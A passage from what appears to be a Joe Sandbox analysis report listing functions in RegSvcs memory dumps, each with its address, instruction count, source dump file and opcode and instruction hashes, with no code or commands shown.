                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: bc11d580febd6e0bf336b96018c808843d2b05743e25c27f3710d89a0890942a
                                      • Instruction ID: 377533a97001538a9f9da39942f3d210ad2da528411d7775946ce368d780fb3a
                                      • Opcode Fuzzy Hash: bc11d580febd6e0bf336b96018c808843d2b05743e25c27f3710d89a0890942a
                                      • Instruction Fuzzy Hash: 89214C30E106469FCB15CFA4D954A9EBBB2BF89300F24861AE816AB650DB70A995CB50
                                      Function 00261798 Relevance: .1, Instructions: 74COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 9d5dafa1ebb7e11beeef2bf7964c5670216eec559f6133b73a9852d535a5529b
                                      • Instruction ID: e9ab9a26efc5d8671e516a73ec2445eb1f33ca3f535e3cbba0cef5f01c1ef81e
                                      • Opcode Fuzzy Hash: 9d5dafa1ebb7e11beeef2bf7964c5670216eec559f6133b73a9852d535a5529b
                                      • Instruction Fuzzy Hash: 7921C634A202058FEB22FF79D8C971D7755EBC131AF144865E006CB6A4EB38EDE58B91
                                      Function 002650C0 Relevance: .1, Instructions: 73COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 8501a6f0ea0185d7bfe888d4553a093b7d6f4317359cb1ae5bb87406a43808eb
                                      • Instruction ID: a1e88655c17b67a6453d6a61859d86f901e3a01fafe9185607a4bd2fda387d2f
                                      • Opcode Fuzzy Hash: 8501a6f0ea0185d7bfe888d4553a093b7d6f4317359cb1ae5bb87406a43808eb
                                      • Instruction Fuzzy Hash: B5212A30B105158FDB54EB78C9687AE77F2AF8E340F1044A8E406EB7A0DF719D908B90
                                      Function 00461926 Relevance: .1, Instructions: 73COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: ed1ebdadafdfc68bc4c2b4a2dfc60ed45c65af3ac85bf0e35acdb6d9b739c47c
                                      • Instruction ID: 48c3d5efae5298925571a1946fb2a70e34cf1fb647407a4f28c5283ca55fce96
                                      • Opcode Fuzzy Hash: ed1ebdadafdfc68bc4c2b4a2dfc60ed45c65af3ac85bf0e35acdb6d9b739c47c
                                      • Instruction Fuzzy Hash: 4C212130A00209CBDB54DBA4C5969AFF3B2BF85300F64881AE406BB651EB74DD41DF52
                                      Function 0015D01C Relevance: .1, Instructions: 72COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622071124.000000000015D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0015D000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_15d000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: b3f6782774da8cc246d37c666517f689a17f660ac910c7506c21bf0f46962358
                                      • Instruction ID: d983c24b7c9e5416f59037de22917df1b286312ba5dc27ed4bcbe6f35b33ac93
                                      • Opcode Fuzzy Hash: b3f6782774da8cc246d37c666517f689a17f660ac910c7506c21bf0f46962358
                                      • Instruction Fuzzy Hash: BF21C275604240DFEB24DF14E8C4B16BB65EB84315F34C5A9EC594F286C33AD84BCBA2
                                      Function 002655B0 Relevance: .1, Instructions: 70COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 788ac8dfa33a6e435456ae69b1bd25e471eefdbfc319ef260611ac2ee6748f36
                                      • Instruction ID: 5c0ede4fc69b58a1bd26fb25de54ea84a9574cc365bf936fd5e421bcf9b733e6
                                      • Opcode Fuzzy Hash: 788ac8dfa33a6e435456ae69b1bd25e471eefdbfc319ef260611ac2ee6748f36
                                      • Instruction Fuzzy Hash: CC11E930F102259FDB50ABB4545936FB6D6DBC4314F60463AE006DB381EF34DD918791
                                      Function 00268210 Relevance: .1, Instructions: 70COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: f46040cdbb6b1f021d8a5be304cfad278d69e14f24dc157a7b09520f929ae457
                                      • Instruction ID: 6de796697a4bedc6fd9bd87987d534bad4b2546eeaaa0a7b887c9658bc6e717e
                                      • Opcode Fuzzy Hash: f46040cdbb6b1f021d8a5be304cfad278d69e14f24dc157a7b09520f929ae457
                                      • Instruction Fuzzy Hash: 09215030E106569BCB04CFA5D854A9EFBB2BF89300F20862AEC15EB350DF70AD95CB50
                                      Function 002618B8 Relevance: .1, Instructions: 69COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 6a2bfdc32b0707c549ff5faf673a5d49c74404d9cec3d5524f354ff537e78ee4
                                      • Instruction ID: b904de45494ddc84541dac4c412dab60449fb2d1f3bccb3540d9095e1da1c003
                                      • Opcode Fuzzy Hash: 6a2bfdc32b0707c549ff5faf673a5d49c74404d9cec3d5524f354ff537e78ee4
                                      • Instruction Fuzzy Hash: 38113A71F10201DFCB10AFB89C5925F7FE6AF88351B140425F506E7B50EE34D8629B91
                                      Function 00460178 Relevance: .1, Instructions: 67COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d50b5caf90bad9da98a929fcc379b264b4b48a41a7be5f333ce37c1c93d6b65b
                                      • Instruction ID: b811af5855cb507487f2b984134a44128ed9136a7762e7c8b11764fb46cbd127
                                      • Opcode Fuzzy Hash: d50b5caf90bad9da98a929fcc379b264b4b48a41a7be5f333ce37c1c93d6b65b
                                      • Instruction Fuzzy Hash: 8211A032B000144FDB58EA7898552AF77EB9BC9310B50447BE40AEB780EE66ED029792
                                      Function 0026898A Relevance: .1, Instructions: 63COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 758a34a3d525b3b996dccc974300602696c2697387fb25ced9f6b08e22098b2d
                                      • Instruction ID: ceb78df1835b811562085522760e0c8d177f5b8a03e88520520665254e6e9ae1
                                      • Opcode Fuzzy Hash: 758a34a3d525b3b996dccc974300602696c2697387fb25ced9f6b08e22098b2d
                                      • Instruction Fuzzy Hash: AA119331B102018FDB14EF64D895A9E7BB2AFC5300F2585A5D8089F396EB70ED16CBA1
                                      Function 00460168 Relevance: .1, Instructions: 61COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 33ab22080fb712a3540b45ce1e9d9425670240d2e460b4b22edd2d1968ff82e8
                                      • Instruction ID: 1348536ed4ae307507dd47905de1c3faf129c22c5107209e7795b01b3edab6d5
                                      • Opcode Fuzzy Hash: 33ab22080fb712a3540b45ce1e9d9425670240d2e460b4b22edd2d1968ff82e8
                                      • Instruction Fuzzy Hash: DE11D232B040145FDB94AAB898653EF7BDB9BC9300F10047BE00AE7785EE65DD024792
                                      Function 0015D006 Relevance: .1, Instructions: 60COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622071124.000000000015D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0015D000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_15d000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 2e4c3549d5e918436b9783b44b801a556d41d64431243081665acd36db123191
                                      • Instruction ID: 74c8a11c4bded12c83a359122ea7940d14c3c9e23936fcdeb991ad862e5b6982
                                      • Opcode Fuzzy Hash: 2e4c3549d5e918436b9783b44b801a556d41d64431243081665acd36db123191
                                      • Instruction Fuzzy Hash: C9217975509380CFDB12CF24D994B15BF71EB46314F28C5EAD8498F2A6C33A984ACB62
                                      Function 00265500 Relevance: .1, Instructions: 59COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: fffd8cff9f0700194b72ea8fe54bf2baf600dae07b791e7b5399b440de00c4cc
                                      • Instruction ID: a1acdf89d7347229c2dad6a672e8fc77f234cfecd35e62607b7766263c5316df
                                      • Opcode Fuzzy Hash: fffd8cff9f0700194b72ea8fe54bf2baf600dae07b791e7b5399b440de00c4cc
                                      • Instruction Fuzzy Hash: B6117C31A11626CFCB11EFB885885AE7BF2BB49310F65046AD406EB311E635CD918BA0
                                      Function 00268998 Relevance: .1, Instructions: 59COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 225c2b048f73b1314aa82d39b6de77e16dd5495d5a8e6278810d05994b959c4c
                                      • Instruction ID: 333ef022f02e6a8b1589a0bd0c92ebf831b294a59551702d817c659a1ad46e8f
                                      • Opcode Fuzzy Hash: 225c2b048f73b1314aa82d39b6de77e16dd5495d5a8e6278810d05994b959c4c
                                      • Instruction Fuzzy Hash: 1A119131B102048FDB14EF64D885A8FB7A6EFC5310F608564E9089F395EB70EE4287A0
                                      Function 0046A391 Relevance: .1, Instructions: 57COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 2943828383ff300907de7e80681e6e7ffd5b65910d78b36badecead58a869e05
                                      • Instruction ID: 507a1df22694332f4f12cb453d960861a6f9f146d06f1fdf1324f1f10b6fd85e
                                      • Opcode Fuzzy Hash: 2943828383ff300907de7e80681e6e7ffd5b65910d78b36badecead58a869e05
                                      • Instruction Fuzzy Hash: 6A01D4317085104FDB119639A8A877F67D2DBC6310F24843BE94ECB391E919EC474B57
                                      Function 00464E87 Relevance: .1, Instructions: 56COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 38653490e239f6c70130696f36c7c2f0b4353c89ad0acb605f696884a882ffe5
                                      • Instruction ID: 74445bdae4240d1a4a8086a35b3d16956ad51aa27c15c4641f18d7f4b69fabc6
                                      • Opcode Fuzzy Hash: 38653490e239f6c70130696f36c7c2f0b4353c89ad0acb605f696884a882ffe5
                                      • Instruction Fuzzy Hash: 6B11D630B042404FCF25ABB8A86566F6BE19BC6300F10482EE44BDB782E919DD424786
                                      Function 00265E64 Relevance: .1, Instructions: 55COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: c57edeb68c414fd37ac58207263e44312ba0756dd9068437696c03bec29251f3
                                      • Instruction ID: 845ddf3495fb32ca880e90d41f159c69585915887405a0108cfacca1d447564b
                                      • Opcode Fuzzy Hash: c57edeb68c414fd37ac58207263e44312ba0756dd9068437696c03bec29251f3
                                      • Instruction Fuzzy Hash: B521C0B1D10219AFCB50DF9AD984ADEFBB4FB49350F10812AE918B7300D374AA54CBA5
                                      Function 004603E8 Relevance: .1, Instructions: 54COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: c35435512986af000aeb4d6454555014c80f6d39d8a7503daf8cd41c53585b64
                                      • Instruction ID: e5f4703626c1b28c97f26bb9ad25104b1cbb8c981f318ea487d0546eeeb7cc7e
                                      • Opcode Fuzzy Hash: c35435512986af000aeb4d6454555014c80f6d39d8a7503daf8cd41c53585b64
                                      • Instruction Fuzzy Hash: 2501D4327002109FDB219B7C946872FB7D6DBC6311F10883BE64ACB395EE65DD024386
                                      Function 004603F8 Relevance: .1, Instructions: 51COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 8e5c0967b24d059048dfee546e208ae167c57589a037c86cfd7359f6b55e89c8
                                      • Instruction ID: 39086fdab89efbf435faf7a34d005bb5287a59b6838d8a2b9209aa440d30b6f4
                                      • Opcode Fuzzy Hash: 8e5c0967b24d059048dfee546e208ae167c57589a037c86cfd7359f6b55e89c8
                                      • Instruction Fuzzy Hash: AD0186317001104FDB24A67D9465B1FA3DADBC5711F10883BE60ACB355EE65DD424396
                                      Function 00464E98 Relevance: .0, Instructions: 50COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 7ea914c4385ff7d815b681f46ed432a0ed53bf0043966d984cf4467af35397c9
                                      • Instruction ID: bde2ce351a79da07a9f1a1768f6407bac933b29f7a2980d576e89c2c07473e9a
                                      • Opcode Fuzzy Hash: 7ea914c4385ff7d815b681f46ed432a0ed53bf0043966d984cf4467af35397c9
                                      • Instruction Fuzzy Hash: 77016230B001154FDF24AAB8E45572F62D6EBC5311F50883AF40ADB785EE15ED4247C6
                                      Function 0046A3A0 Relevance: .0, Instructions: 49COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 3b94b9474aec8032b053f4c2abb89b6d3bcac4efc6a540c02b39141313b5d275
                                      • Instruction ID: 0d0ddfa98ec874bea5714f9c10c7400dc53251e1cf8de7db7019979a1e766551
                                      • Opcode Fuzzy Hash: 3b94b9474aec8032b053f4c2abb89b6d3bcac4efc6a540c02b39141313b5d275
                                      • Instruction Fuzzy Hash: FD01A4317005144BDB249A3D9898B2F73D6DBC9710F10883AF50EDB340EE69ED424B87
                                      Function 00465BE0 Relevance: .0, Instructions: 44COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 4a9856a6f51d5d93fd159d4a09691662608bf8aa89fad653e5d6676addf03499
                                      • Instruction ID: f3a2945c673bf87a459c360249a8eab9917c050113a11f315708f74ce01572c5
                                      • Opcode Fuzzy Hash: 4a9856a6f51d5d93fd159d4a09691662608bf8aa89fad653e5d6676addf03499
                                      • Instruction Fuzzy Hash: EC012832E003188BDF209B6CD840B9EB7A9E746321F10483BD509EB340E6359D458B86
                                      Function 00266991 Relevance: .0, Instructions: 40COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a6d7d082fdee74be45a97ca3a6da5da0aee06df7b027d9cce1b56e989210cd1f
                                      • Instruction ID: 1239f54cae785292cc93a5ce5f7fda09cd7080f63b4817c383492be4f34b9973
                                      • Opcode Fuzzy Hash: a6d7d082fdee74be45a97ca3a6da5da0aee06df7b027d9cce1b56e989210cd1f
                                      • Instruction Fuzzy Hash: A901D4349103489FDB05FFB4E496A9C7BB1AF81305F5089EED004AF291DE706F058B81
                                      Function 00467658 Relevance: .0, Instructions: 36COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: dd6b8e848d12c66c3d475227d316f9e51eef2f2a2b237833640a4bb53a46b58b
                                      • Instruction ID: c066a18d25f16f1ac5915178c15a16127ee20123d974eaadc498c86674d43df7
                                      • Opcode Fuzzy Hash: dd6b8e848d12c66c3d475227d316f9e51eef2f2a2b237833640a4bb53a46b58b
                                      • Instruction Fuzzy Hash: 5FF02732F1122497DB282679AC0159FB379E785724F10443AED01FB744EA666C11C7D1
                                      Function 002669A0 Relevance: .0, Instructions: 35COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 3ced1cf1aa6aa89e60ebf308643e6b309cd04d19283a48044fda178cb2ca8e20
                                      • Instruction ID: 8d14c5ef73d2cf37b7b41013c2bdc858e10d16d22e5d799ded9316e9d319c454
                                      • Opcode Fuzzy Hash: 3ced1cf1aa6aa89e60ebf308643e6b309cd04d19283a48044fda178cb2ca8e20
                                      • Instruction Fuzzy Hash: D7F0A434A1030CAFDB04FFF5E49699D77B1ABC0305F9089A9E005AF254EE712F058B91
                                      Function 00260838 Relevance: .0, Instructions: 30COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d1b4bb9ff532502c2678d98a198efd73fafaf9d6d68f3e1567d863e2e7f88d35
                                      • Instruction ID: 4df54ce82132e44725cb1d8af657cc7f23a0321c0996f07ab7a267009d228be9
                                      • Opcode Fuzzy Hash: d1b4bb9ff532502c2678d98a198efd73fafaf9d6d68f3e1567d863e2e7f88d35
                                      • Instruction Fuzzy Hash: 61F06D306152824EEF31CBBC988476A3BD4DB52304F6408A2E045CB583C614ECD0AAD6
                                      Function 0026080F Relevance: .0, Instructions: 25COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: de25283d4942d4ccadc7c56db42348a9c663a12a37b397bee891f5a939618896
                                      • Instruction ID: 30ad4115d0e6658fa8a039056590d9b6e72933134486e6715d76e16deb5b5bf8
                                      • Opcode Fuzzy Hash: de25283d4942d4ccadc7c56db42348a9c663a12a37b397bee891f5a939618896
                                      • Instruction Fuzzy Hash: D8E0DF62A1D3CB4DEB12667808A43993F508F73344F0900B3C094CF0A3E505899892A5
                                      Function 00260848 Relevance: .0, Instructions: 23COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: e0fee03888d1d7d150df25e955babe46ac9569cc1f817a52a9a9669a9a473ed6
                                      • Instruction ID: 34ca44dfd032ce323299c1476d02eda76b5dc52f3b3aa9a2acb68420ffd9d550
                                      • Opcode Fuzzy Hash: e0fee03888d1d7d150df25e955babe46ac9569cc1f817a52a9a9669a9a473ed6
                                      • Instruction Fuzzy Hash: B5E05E30B202474AFF309AA998C437F3188C761314F600C36E50ACB682DA09CCE076D6
                                      Function 00266958 Relevance: .0, Instructions: 18COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: cc85bb9390b21d2624e0d89d67fba1ea110254ba766869a114d273fa86f77b1d
                                      • Instruction ID: aa5b7e4e54a6a3dfe2edbc0d1cf8ee0df3e962b7425e6f91308c44a753047381
                                      • Opcode Fuzzy Hash: cc85bb9390b21d2624e0d89d67fba1ea110254ba766869a114d273fa86f77b1d
                                      • Instruction Fuzzy Hash: 42D0C934A2230A4BEB201E65AA4D3297758E765315F204C26EC4ACA750E536CCE8C5D2

                                      Non-executed Functions

                                      Function 00469928 Relevance: .6, Instructions: 604COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 9a354a6c3817b5588e149c0e802d7f473ce6e19377bb9cfb22d8778a4324fd0a
                                      • Instruction ID: 20a1a3e9c33031107c9e0adc6f6b2be8939703ebe0eac626d1853341dab5e4bf
                                      • Opcode Fuzzy Hash: 9a354a6c3817b5588e149c0e802d7f473ce6e19377bb9cfb22d8778a4324fd0a
                                      • Instruction Fuzzy Hash: 5B22D430B001048FDB14DF78D495AAEB7E6FF85310F24846AE406EB391EB75ED428B96
                                      Function 00263EE8 Relevance: .3, Instructions: 281COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: f16da2563635e4999d6de0bfa12300178a5063c3e6b698705890f1ea7eb9f9d8
                                      • Instruction ID: 22917e8de8134791bc4473e140cccaed62d7d904cafb2958ea3598b608fdb579
                                      • Opcode Fuzzy Hash: f16da2563635e4999d6de0bfa12300178a5063c3e6b698705890f1ea7eb9f9d8
                                      • Instruction Fuzzy Hash: E8B17F70E102098FDF14DFA8C8957DEBBF2BF88304F248129E855E7294EB749995CB81